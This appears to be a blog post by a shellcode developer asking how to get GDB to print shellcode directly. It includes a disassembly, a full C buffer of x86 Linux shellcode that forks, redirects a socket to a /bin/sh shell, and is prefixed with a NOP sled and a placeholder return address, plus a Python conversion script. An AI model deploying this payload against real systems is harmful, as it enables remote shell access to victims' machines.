Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>: push %ebp
0x08048255 <function+1>: mov %esp,%ebp
0x08048257 <function+3>: pop %ebp
0x08048258 <function+4>: jmp 0x8048268 <begin>
0x0804825a <function+6>: inc %ecx
0x0804825b <function+7>: inc %ecx
0x0804825c <function+8>: inc %ecx
0x0804825d <function+9>: inc %ecx
0x0804825e <function+10>: jmp 0x80482b3 <bottom>
0x08048260 <function+12>: pop %esi
0x08048261 <function+13>: mov %esi,%esp
0x08048263 <function+15>: sub $0x78,%esp
0x08048266 <function+18>: xor %edi,%edi
0x08048268 <begin+0>: mov %edi,%eax
0x0804826a <begin+2>: inc %eax
0x0804826b <begin+3>: inc %eax
0x0804826c <begin+4>: int $0x80
0x0804826e <begin+6>: test %eax,%eax
0x08048270 <begin+8>: je 0x8048288 <child>
0x08048272 <parent+0>: mov %edi,%eax
0x08048274 <parent+2>: mov $0xa2,%al
0x08048276 <parent+4>: push $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>: push $0x11111111
0x08048280 <parent+14>: mov %esp,%ebx
0x08048282 <parent+16>: mov %edi,%ecx
0x08048284 <parent+18>: int $0x80
0x08048286 <parent+20>: jmp 0x8048272 <parent>
0x08048288 <child+0>: mov -0x204(%esi),%ebx
0x0804828e <child+6>: mov %edi,%ecx
0x08048290 <child+8>: mov $0x3f,%al
0x08048292 <child+10>: int $0x80
0x08048294 <child+12>: inc %ecx
0x08048295 <child+13>: mov %edi,%eax
0x08048297 <child+15>: mov $0x3f,%al
0x08048299 <child+17>: int $0x80
0x0804829b <child+19>: inc %ecx
0x0804829c <child+20>: mov %edi,%eax
0x0804829e <child+22>: mov $0x3f,%al
0x080482a0 <child+24>: int $0x80
0x080482a2 <execshell+0>: mov %edi,%eax
0x080482a4 <execshell+2>: mov %al,0x7(%esi)
0x080482a7 <execshell+5>: push %eax
0x080482a8 <execshell+6>: push %esi
0x080482a9 <execshell+7>: mov %edi,%edx
0x080482ab <execshell+9>: mov %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>: mov %esi,%ebx
0x080482af <execshell+13>: mov $0xb,%al
0x080482b1 <execshell+15>: int $0x80
0x080482b3 <bottom+0>: call 0x8048260 <function+12>
0x080482b8 <bottom+5>: das
0x080482b9 <bottom+6>: bound %ebp,0x6e(%ecx)
0x080482bc <bottom+9>: das
0x080482bd <bottom+10>: jae 0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>: inc %ecx
0x080482c0 <bottom+13>: ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>: 0xeb 0x53 0x5e 0x89 0xf4 0x83 0xec 0x78
0x8048266 <function+18>: 0x31 0xff 0x89 0xf8 0x40 0x40 0xcd 0x80
0x804826e <begin+6>: 0x85 0xc0 0x74 0x16 0x89 0xf8 0xb0 0xa2
0x8048276 <parent+4>: 0x68 0x11 0x11 0x11 0x11 0x68 0x11 0x11
0x804827e <parent+12>: 0x11 0x11 0x89 0xe3 0x89 0xf9 0xcd 0x80
0x8048286 <parent+20>: 0xeb 0xea 0x8b 0x9e 0xfc 0xfd 0xff 0xff
0x804828e <child+6>: 0x89 0xf9 0xb0 0x3f 0xcd 0x80 0x41 0x89
0x8048296 <child+14>: 0xf8 0xb0 0x3f 0xcd 0x80 0x41 0x89 0xf8
0x804829e <child+22>: 0xb0 0x3f 0xcd 0x80 0x89 0xf8 0x88 0x46
0x80482a6 <execshell+4>: 0x07 0x50 0x56 0x89 0xfa 0x89 0xe1 0x89
0x80482ae <execshell+12>: 0xf3 0xb0 0x0b 0xcd 0x80 0xe8 0xa8 0xff
0x80482b6 <bottom+3>: 0xff 0xff 0x2f 0x62 0x69 0x6e 0x2f ---Type <return> to continue, or q <return> to quit---
0x73
0x80482be <bottom+11>: 0x68 0x41
(gdb) Quit
And my desired output are the bytes in these strings:
char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* First the NOPs*/ "\xeb\x04" /* Jump over the ret addr */ "\x41\x41\x41\x41" /* wannabe ret addr */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* Second NOP slide */ "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41" /* that's the shellcode */ |
So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?
#!/usr/bin/env python import sys paginator = '''---Type to continue, or q to quit---''' def convert (to_convert): retlines = [] for line in to_convert.splitlines(): if line.startswith('--'): continue pos = line.find(":") newline_string = line[pos+1:] for needle, replacement in (('\t', ''), ('0x', r'\x'), ('\n', ''), (paginator, '')): newline_string = newline_string.replace(needle, replacement) retlines.append (newline_string) return "".join(retlines) if __name__ == "__main__": to_convert = sys.stdin.read() converted = convert (to_convert) print converted |
Want to take a guess what the shellcode actually does? It’s not too hard to see though.